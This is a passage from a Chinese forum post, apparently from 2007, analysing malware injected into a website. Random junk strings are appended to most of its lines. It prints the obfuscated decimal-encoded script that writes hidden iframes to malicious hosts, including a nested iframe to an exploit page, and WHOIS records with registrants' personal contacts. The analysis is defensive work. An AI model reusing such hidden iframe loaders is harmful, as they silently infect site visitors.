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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, q.FgX  
!YSAQi;I  
http://www.areway.cn/?p=175 7(^<Z5@  
G!T)V2y  
zg2A$Fd[j  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: bwUsE U 0  
          xi8RE@gm  
<script>t=’60,105,102,114,97,109,101, E{sTxO I$  
32,115,114,99,61,104,116,116,112,58,47,47, |;ycEB1  
102,114,101,101,46,117,45,117,117,117,46,99, _H>ABo  
110,47,101,114,114,111,114,46,104,116,109, L B1 ui  
32,119,105,100,116,104,61,49,48,48,32,104, #K'3` dpL  
101,105,103,104,116,61,48,62,60,47,105,102, c 6@!?8J  
114,97,109,101,62′; 2<)63[YO  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Fh9`8  
                                                                                                  .,(bDXl?  
<script>t=’60,105,102,114,97,109,101,32,115, "AP'' XNi  
114,99,61,104,116,116,112,58,47,47,102,114, qCOv4b`  
101,101,46,117,45,117,117,117,46,99,110,47, >/nS<y>  
101,114,114,111,114,46,104,116,109,32,119, mza1Q~<  
105,100,116,104,61,49,48,48,32,104,101,105, r<cyxR~  
103,104,116,61,48,62,60,47,105,102,114,97, b+yoD  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); J/8aDr (+  
document.write(t);</script> -MOPm]iA  
                                                                                                  l;}D| 6+_W  
<html xmlns=” )VQ:L:1t(  
http://www.w3.org/1999/xhtml Ox.&tW%@  
“> [[P?T^KT  
<head> ;!DUNzl  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> E9HA8  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> P\KP)bkC  
<title>首页 - 爱生活家庭网 j!GJ$yd=-6  
                                                                                                                                                    a{^[<  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 > n Y<J  
转换字符串后的大概内容是(谁点击后果自付): 9"1 0:\U  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _ $PZID  
                                                                                                                                  ,n TC7V  
查询玉米u-uuu.cn的详细信息: 'm}K$h(U  
Domain Name: u-uuu.cn ZW}*]rg  
ROID: 20070901s10001s64972306-cn y_M<\b  
Domain Status: ok 5 :6^533]  
Registrant Organization: 王雷 H`C DfTy  
Registrant Name: 王雷 "pdmz+k8S  
Administrative Email: czlovexs@126.com CdlE"Ye  
Sponsoring Registrar: 北京万网志成科技有限公司 "{105&c\  
Name Server:ns.yovole.com gN$.2+:  
Name Server:ns1.yovole.com >Jt,TMMlt  
Registration Date: 2007-09-01 17:54 cOcF VPQ  
Expiration Date: 2008-09-01 17:54 p;`jmF   
最后PING了一下地址 都没有什么…. 0RAmwfXm  
                                                                                                2MQgTFM9  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. &Z/aM?  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> z]^&^VFu  
<script language=”javascript” src=” a_4Ny  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KRQKL`}}  
> 4\4onCzuT  
这个玉米应该有可能是木马作者的: jhrmQS  
foafau.info的详细信息: 4YM!SE-I  
Access to INFO WHOIS information is provided to assist persons in =i  }  
determining the contents of a domain name registration record in the ~Wjm"|c  
Afilias registry database. The data in this record is provided by 7tMV*{+Z  
Afilias Limited for informational purposes only, and Afilias does not I]bqle0M  
guarantee its accuracy.  This service is intended only for query-based evNo(U\C  
access. You agree that you will use this data only for lawful purposes 1%Xwk2l,8b  
and that, under no circumstances will you use this data to: (a) allow, uFOxb}a9v  
enable, or otherwise support the transmission by e-mail, telephone, or m5Q,RwJ!xK  
facsimile of mass unsolicited, commercial advertising or solicitations (xpj?zlmM  
to entities other than the data recipient’s own existing customers; or =`[08  
(b) enable high volume, automated, electronic processes that send wx n D3  
queries or data to the systems of Registry Operator, a Registrar, or ^5j|   
Afilias except as reasonably necessary to register domain names or /"+YE&>\  
modify existing registrations. All rights reserved. Afilias reserves '; ,DgR;'  
the right to modify these terms at any time. By submitting this query, ne] |\]  
you agree to abide by this policy. n3t1'_/TU}  
Domain ID:D22418703-LRMS h 1G`z  
Domain Name:FOAFAU.INFO v]\io#   
Created On:20-Nov-2007 16:05:42 UTC eyf\j,xP&  
Last Updated On:20-Nov-2007 16:05:44 UTC 0ohpJh61Q  
Expiration Date:20-Nov-2008 16:05:42 UTC 1OK,r`   
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) S.rlF1`  
Status:CLIENT DELETE PROHIBITED L&ySXc=  
Status:CLIENT RENEW PROHIBITED =k6zUw;5 U  
Status:CLIENT TRANSFER PROHIBITED }Iz'#I Xx  
Status:CLIENT UPDATE PROHIBITED MO&QR-OY  
Status:TRANSFER PROHIBITED S`gUSYS"w  
Registrant ID:GODA-040110615 r,X5@/  
Registrant Name:liu hong z=:<]j#=  
Registrant Organization: 0gO<]]M?  
Registrant Street1:beijing 6Ae<W7  
Registrant Street2: W.TZU'%  
Registrant Street3: (iM"ug2  
Registrant City:beijing g^@ Kx5O\  
Registrant State/Province: Nl3 x BM%  
Registrant Postal Code:100000 j9Ptd$Uj  
Registrant Country:CN 2.CjjI  
Registrant Phone:+86.860108888777 ?9xaBWf  
Registrant Phone Ext.: ?F]Yebp^  
Registrant FAX: $Nvt:X_  
Registrant FAX Ext.: y E-H-r~I  
Registrant Email:bbbshiji@163.com 8Kt_irD  
Admin ID:GODA-240110615 =8O057y  
Admin Name:liu hong #Ki(9oWd  
Admin Organization: eKi/Mt  
Admin Street1:beijing Fj}|uiOQUS  
Admin Street2: i*B@#;;F  
Admin Street3: s `fIeP  
Admin City:beijing u,e'5,`N  
Admin State/Province: P3V=DOG"  
Admin Postal Code:100000 BV,P;T0"D  
Admin Country:CN |6w.m<p  
Admin Phone:+86.860108888777 c9imfA+e  
Admin Phone Ext.: &QO~p3M  
Admin FAX: BoZ])Y6=  
Admin FAX Ext.: P/snzm|@  
Admin Email:bbbshiji@163.com ^N}zePy0  
Billing ID:GODA-340110615 rU<NHFGj4  
Billing Name:liu hong s'' ?: +  
Billing Organization: hNs970i  
Billing Street1:beijing D,%R[F? 5O  
Billing Street2: Ug02G  
Billing Street3: qYv/" 1  
Billing City:beijing *5Upb,* *  
Billing State/Province: T.O^40y  
Billing Postal Code:100000 s2A3.SN  
Billing Country:CN |P7c {  
Billing Phone:+86.860108888777 S'M=P_-7  
Billing Phone Ext.: !c-Ie~GIT  
Billing FAX: Ci6yH( RE  
Billing FAX Ext.: HPl!r0 h  
Billing Email:bbbshiji@163.com 834(kw+#9  
Tech ID:GODA-140110615 E6a$c`H@?  
Tech Name:liu hong iL(rZT&^  
Tech Organization: 3"=% [  
Tech Street1:beijing g.OBh_j-v  
Tech Street2: &EKP93  
Tech Street3: ;@p2s'(  
Tech City:beijing OrP-+eg  
Tech State/Province: sW!pMkd_  
Tech Postal Code:100000 #k2&2W=x  
Tech Country:CN j~,7JJ (y  
Tech Phone:+86.860108888777 )R$+dPu>  
Tech Phone Ext.: -BUxQ8/,  
Tech FAX: aiVd^(  
Tech FAX Ext.: q<` YJ,  
Tech Email:bbbshiji@163.com TxAT ))  
Name Server:NS27.DOMAINCONTROL.COM &os9K)  
Name Server:NS28.DOMAINCONTROL.COM 9 2_F8y*D  
Name Server: # D"TY-$.=  
Name Server: T P'  
Name Server: 9n{tbabJ  
Name Server: hZ2!UW4'  
Name Server: F{}mlQg  
Name Server: f1MKYM%^x  
Name Server: >B(%$jG Z  
Name Server: !GI*R2<W  
Name Server: cmgI,n-o?  
Name Server: *Wk y#  
Name Server: ,9<}V;(  
                                                                                                          2%4dA$H#4w  
接着下载每个文件里面的代码: _[;>V*?zp5  
一步一步看.. <>$`vuU  
)&:4//}a  
=H6"\`W  
vaL+@Kq~&  
58\rl G  
v#*9rNEj0  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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